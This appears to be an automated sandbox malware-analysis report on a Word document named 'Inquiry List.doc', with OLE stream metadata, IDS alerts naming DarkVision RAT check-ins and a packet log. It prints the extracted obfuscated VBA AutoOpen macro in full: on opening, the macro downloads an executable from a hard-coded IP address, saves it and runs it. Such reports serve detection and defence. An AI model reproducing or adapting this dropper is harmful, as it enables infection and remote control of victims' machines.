SSDEEP:	1536:f7dgmjjy2lQkySTUb2roegTK+g9WomfaQjSqttJnkL5mS9kBwNR42qte1:fZPjbTU+J799IjSqtteL5N9kBF20
TLSH:	13E3C407A9458B43E03493B5BE435FAD2F197E0CA98666EF11273E9B3E302324D4E16D
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	35e1cc889a8a8599

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Inquiry List.doc"

Indicators

Has Summary Info:
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Title:
Subject:
Author:	GRACE
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:	GRACE
Revion Number:	2
Total Edit Time:	60
Create Time:	2025-01-07 09:22:00
Last Saved Time:	2025-01-07 09:22:00
Number of Pages:	1
Number of Words:	0
Number of Characters:	1
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	983040

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 4806

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	4806
Data ASCII:	. . . . . . . . V . . . . . . . . . ] . . . . . . . . . . . . . . ' - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S " . . . . S . . . . . S " . . . . . < . . . . . . . . . . ( . 1 . N . o . r . m . a . l . . . T . h . i .
Data Raw:	01 16 01 00 01 f0 00 00 00 56 05 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 5d 05 00 00 81 0f 00 00 00 00 00 00 01 00 00 00 d9 27 9c 2d 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 
Dim xHttp:
'this is a comment



Set xHttp = CreateObject("M" & "S" & "X" & "M" & "L" & "2" & "." & "S" & "er" & "ver" & "XM" & "LH" & "TTP")
'this is a comment
Dim bStrm:
'this is a comment
Set bStrm = CreateObject("Ad" & "od" & "b.S" & "tr" & "ea" & "m")



Dim nirm1
nirm1 = "h"
Dim nirm2
nirm2 = "t"
Dim nirm3
nirm3 = "t" & "p:/" & "/87.120.113.91/image"
Dim nirm4
nirm4 = "."
Dim nirm5
nirm5 = "e"
Dim nirm6
nirm6 = "x"
Dim nirm7
nirm7 = "e"



Dim plpl
plpl = nirm1 & nirm2 & nirm3 & nirm4 & nirm5 & nirm6 & nirm7

'this is a comment
xHttp.Open "GET", plpl, False
xHttp.Send




 
With bStrm
 .Type = 1
.Open
 .write xHttp.responsebody
 
 'this is a comment
 
Dim monu1
 monu1 = "brightness"
 Dim monu2
 monu2 = "."
 'this is a comment
 Dim monu3
 monu3 = "e"
 'this is a comment
 Dim monu4
 monu4 = "x"
 'this is a comment
 Dim monu5
 monu5 = "e"
 'this is a comment
 Dim monu6
 monu6 = monu1 & monu2 & monu3 & monu4 & monu5
 
 
 .savetofile monu6, 2


Dim parveen1
Dim parveen2
Dim parveen3
Dim parveen4
Dim praveen1
praveen1 = """brightness"
Dim praveen2
praveen2 = "."
'this is a comment
Dim praveen3
praveen3 = "e"
'this is a comment
Dim praveen4
praveen4 = "x"
'this is a comment
Dim praveen5
praveen5 = "e"""
'this is a comment



Dim praveen6
praveen6 = praveen1 & praveen2 & praveen3 & praveen4 & praveen5
 


End With
 
Shell (praveen6)
 
End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.235956365095031
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.24379920956187054
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	0.4603205540792989
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G R A C E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N o r m a
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 ec 00 00 00 09 00 00 00 fc 00 00 00

Stream Path: 1Table, File Type: data, Stream Size: 7019

General
Stream Path:	1Table
CLSID:
File Type:	data
Stream Size:	7019
Entropy:	5.866832891679107
Base64 Encoded:	True
Data ASCII:	. . . . . . . . s . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
Data Raw:	0a 06 0f 00 12 00 01 00 73 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: dBase III DBT, version number 0, next free block index 113648, 1st item "TRC", Stream Size: 113648

General
Stream Path:	Data
CLSID:
File Type:	dBase III DBT, version number 0, next free block index 113648, 1st item "TRC"
Stream Size:	113648
Entropy:	7.649735053791737
Base64 Encoded:	True
Data ASCII:	. . D . d . . . . . . . . . . . . . . . . . . . . . / = ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . s . . > . . . . . . . . A . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . P . i . c . t . u . r . e . . 1 . . . . . " . . . . . . . . . . . . . . . . . . . R . . , . . . . Z . . 7 J 2 9 ( . . . . . . . . D . . . . . . F . . . . Z . . 7 J 2 9 ( . . J F I F . . . . . . . . . I C C _ P R O F I L E . . . . . . . . . . . . . . . m n
Data Raw:	f0 bb 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2f e0 3d 60 03 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 70 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 73 00 0b f0 3e 00 00 00 7f 00 80 00 e1 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 372

General
Stream Path:	Macros/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	372
Entropy:	5.316638083099584
Base64 Encoded:	True
Data ASCII:	I D = " { 9 9 1 5 4 C 9 9 - A F 7 B - 4 6 2 6 - B F D 7 - 5 A 6 E F 6 8 0 9 7 2 D } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " E C E E 1 1 C F 1 1 F 7 1 5 F 7 1 5 F 7 1 5 F 7 1 5 " . . D P B = " 1 0 1 2 E D 0 E E E 0 E E E 0 E " . . G C = " 3 4 3 6 C 9 1 7 C 9 3 A C A 3 A C A C 5 " . . . . [ H o s t E x t e n d e r I n f o ] . .
Data Raw:	49 44 3d 22 7b 39 39 31 35 34 43 39 39 2d 41 46 37 42 2d 34 36 32 36 2d 42 46 44 37 2d 35 41 36 45 46 36 38 30 39 37 32 44 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	Macros/PROJECTwm
CLSID:
File Type:	data
Stream Size:	41
Entropy:	3.0773844850752607
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2910

General
Stream Path:	Macros/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2910
Entropy:	4.360273953519102
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
Data Raw:	cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/dir, File Type: VAX-order 68K Blit (standalone) executable, Stream Size: 523

General
Stream Path:	Macros/VBA/dir
CLSID:
File Type:	VAX-order 68K Blit (standalone) executable
Stream Size:	523
Entropy:	6.29268400296578
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . . . i . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * . \\ C . . . . . i . . . ! O f f i c . g O . f . i . c .
Data Raw:	01 07 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 15 ce 8f 69 09 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
CLSID:
File Type:	data
Stream Size:	4096
Entropy:	1.08489722770282
Base64 Encoded:	False
Data ASCII:	. Y . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j [ [ . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . \\ 9 . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G . . . 0 . . . . . . . . .
Data Raw:	ec a5 c1 00 59 e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 02 08 00 00 0e 00 62 6a 62 6a 5b c9 5b c9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 39 a3 0a 5c 39 a3 0a 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T13:25:44.805327+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49749	85.31.47.116	3440	TCP
2025-01-07T13:25:45.897613+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	49749	85.31.47.116	3440	TCP
2025-01-07T13:25:46.329475+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49752	85.31.47.116	3440	TCP
2025-01-07T13:25:47.112306+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49753	85.31.47.116	3440	TCP
2025-01-07T13:25:47.926178+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49755	85.31.47.116	3440	TCP
2025-01-07T13:25:48.720376+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49757	85.31.47.116	3440	TCP
2025-01-07T13:25:49.516668+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49758	85.31.47.116	3440	TCP
2025-01-07T13:26:51.522736+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	49990	85.31.47.116	3440	TCP
2025-01-07T13:26:52.621161+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	49990	85.31.47.116	3440	TCP
2025-01-07T13:26:53.072274+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50001	85.31.47.116	3440	TCP
2025-01-07T13:26:53.907619+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50007	85.31.47.116	3440	TCP
2025-01-07T13:26:54.740599+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50013	85.31.47.116	3440	TCP
2025-01-07T13:26:55.524525+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50019	85.31.47.116	3440	TCP
2025-01-07T13:26:56.306714+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50025	85.31.47.116	3440	TCP
2025-01-07T13:27:59.416988+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50033	85.31.47.116	3440	TCP
2025-01-07T13:28:00.537210+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	50033	85.31.47.116	3440	TCP
2025-01-07T13:28:00.985869+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50034	85.31.47.116	3440	TCP
2025-01-07T13:28:01.786637+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50035	85.31.47.116	3440	TCP
2025-01-07T13:28:02.590128+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50036	85.31.47.116	3440	TCP
2025-01-07T13:28:03.385735+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50037	85.31.47.116	3440	TCP
2025-01-07T13:28:04.199920+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50038	85.31.47.116	3440	TCP
2025-01-07T13:29:05.713565+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50039	85.31.47.116	3440	TCP
2025-01-07T13:29:06.790985+0100	2045619	ET MALWARE Win32/DarkVision RAT CnC Checkin M3	1	192.168.2.4	50039	85.31.47.116	3440	TCP
2025-01-07T13:29:07.227985+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50040	85.31.47.116	3440	TCP
2025-01-07T13:29:08.038749+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50041	85.31.47.116	3440	TCP
2025-01-07T13:29:08.897444+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50042	85.31.47.116	3440	TCP
2025-01-07T13:29:09.686218+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50043	85.31.47.116	3440	TCP
2025-01-07T13:29:10.504567+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.4	50044	85.31.47.116	3440	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 13:25:32.474658966 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:32.479576111 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:32.479648113 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:32.479782104 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:32.484549999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.099951029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.100100040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.100111961 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.100125074 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.100136995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.100159883 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.100214958 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.178292990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178316116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178328037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178339958 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178352118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178375006 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.178419113 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.178795099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178807974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.178843975 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.190790892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.190807104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.190817118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.190854073 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.255611897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255675077 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.255727053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255888939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255901098 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255918980 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255929947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255933046 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.255943060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.255994081 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.256607056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267024040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267047882 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267081022 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.267116070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267128944 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267142057 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267162085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267168999 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.267174959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267213106 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.267232895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.267956018 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.267975092 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.268017054 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.332565069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332595110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332611084 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332623005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332662106 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.332716942 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.332942963 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332954884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332976103 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332987070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.332994938 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.332998991 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.333026886 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.333760023 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.333770990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.333782911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.333816051 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.333841085 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.345077038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345105886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345177889 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345185041 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.345205069 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345223904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345257044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345252991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.345269918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345309019 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.345926046 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.345974922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.346024036 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.414818048 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.414855003 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.414869070 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.414884090 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.414901972 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:33.414912939 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.414973021 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:33.415164948 CET	80	49737	87.120.113.91	192.168.2.4
